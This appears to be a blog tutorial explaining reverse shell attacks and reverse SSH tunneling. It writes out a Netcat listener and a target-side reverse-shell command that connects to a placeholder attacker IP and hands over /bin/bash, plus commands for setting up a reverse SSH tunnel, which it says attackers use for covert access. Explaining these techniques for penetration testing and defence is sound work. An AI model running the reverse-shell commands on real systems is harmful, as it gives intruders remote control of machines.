Reverse Shell Attack and Reverse SSH Tunneling

In the field of cybersecurity, reverse shell attacks and reverse SSH tunneling concepts are important tools for penetration testing.

A reverse shell attack is a technique used by malicious actors to gain unauthorized access to a target system by exploiting vulnerabilities, enabling remote control and execution of commands.

Reverse SSH tunneling serves as a defensive measure, allowing users to securely access resources on a remote network by establishing a secure connection from the target system back to the user’s machine.

However, it can be repurposed for offensive actions. Attackers could use it to establish unauthorized access to remote systems, evade detection, exfiltrate data, or maintain persistent access for future exploitation.

Understanding these techniques is essential for safeguarding against cyber threats and fortifying network defenses.

Reverse Shell Attack

The reverse shell technique is a crucial component in cybersecurity, enabling remote access to systems for troubleshooting or unauthorized activities.

Unlike a traditional shell connection where a client connects to a server, in a reverse shell, the server connects back to the client, bypassing firewall restrictions and NAT configurations.

This method is often employed by penetration testers and hackers to gain control over compromised systems.

Understanding reverse shell mechanics is essential for both defensive and offensive cybersecurity strategies.

Reverse Shell with Netcat

Let’s explore how attackers utilize the reverse shell technique in conjunction with Netcat.

1. Setting up the Listener

The attacker initiates a listener on their machine using Netcat with a command like:

nc -nlvp <port>

2. Identifying Vulnerable Targets

Through reconnaissance, the attacker identifies a vulnerable target system with an open port.

3. Establishing the Reverse Shell

Upon connection, a reverse shell is established, granting the attacker remote access.

on the attacker’s machine:

nc -nlvp <port> > main.txt

This command configures Netcat to listen for incoming connections on the specified port. Upon connection, any data received will be appended to the main.txt file. This allows for logging and monitoring of incoming connections.

and on the target:

nc <attacker_IP> <port> -e /bin/bash

4. Executing Commands

With the reverse shell, the attacker can execute commands on the target system, such as exploring directories or exfiltrating data.

Reverse SSH Tunneling

Reverse SSH tunneling employs Secure Shell (SSH) for encrypted remote access, offering heightened security compared to traditional methods.

By establishing a reverse SSH connection, users gain control over a remote system, while data remains encrypted, shielding it from interception.

SSH’s robust encryption protocols, including AES and RSA, ensure confidentiality and integrity of communication, mitigating the risk of eavesdropping and tampering.

In addition, SSH Academy notes that reverse SSH tunneling serve as hideouts for attackers who redirect assaults from systems and devices, allowing them to exploit vulnerabilities covertly without detection.

Step by Step Reverse SSH Tunneling

Reverse SSH tunneling allows you to access a machine behind a NAT or firewall from another machine that is publicly accessible. Here’s a step-by-step guide to set up reverse SSH tunneling:

Install SSH

sudo apt-get install openssh-server

Configure SSH Server

On the local machine (the one behind the NAT/firewall), edit the SSH server configuration file to allow reverse tunneling. Open the SSH server configuration file.

# add this to at the end of the file: GatewayPorts yes
$ sudo vim /etc/ssh/sshd_config

# Restart the SSH service
$ sudo service ssh restart

Establish the Reverse Tunnel

On the local machine (the one behind the NAT/firewall), establish the reverse SSH tunnel by running the following command:

ssh -fN -R <remote_port>:localhost:<local_port> <user>@<remote_host>

• Remote port: The port on the remote machine where SSH will listen for incoming connections.
• Local port: The port on the local machine that you want to access remotely.
• User: Your username on the remote machine.
• Remote host: The hostname or IP address of the remote machine.

ssh -fN -R 1111:localhost:22 user@user.com

Access the Local Machine

Now, from the remote machine, you can access into the local machine using the reverse tunnel:

ssh -p <remote_port> <user>@localhost

Replace <remote_port> with the port you specified.

Automate with SSH Keys

Generate an SSH key pair on your local machine:

# To check if there is SSH keys
$ ls -l ~/.ssh/id*

# To create new one 
$ ssh-keygen

Copy the public key to the remote machine:

ssh-copy-id <user>@<remote_host>

Now, you should be able to SSH from the local machine to the remote machine without entering a password.

This setup enhances convenience and security by allowing passwordless authentication between the two machines.

Conclusion

In conclusion, the understanding of reverse shell attacks and reverse SSH tunneling is paramount in both offensive and defensive cybersecurity strategies.

Leveraging these techniques effectively enables organizations to fortify their networks against malicious intrusions while facilitating secure remote access to critical resources.

Check out more articles about cyber security.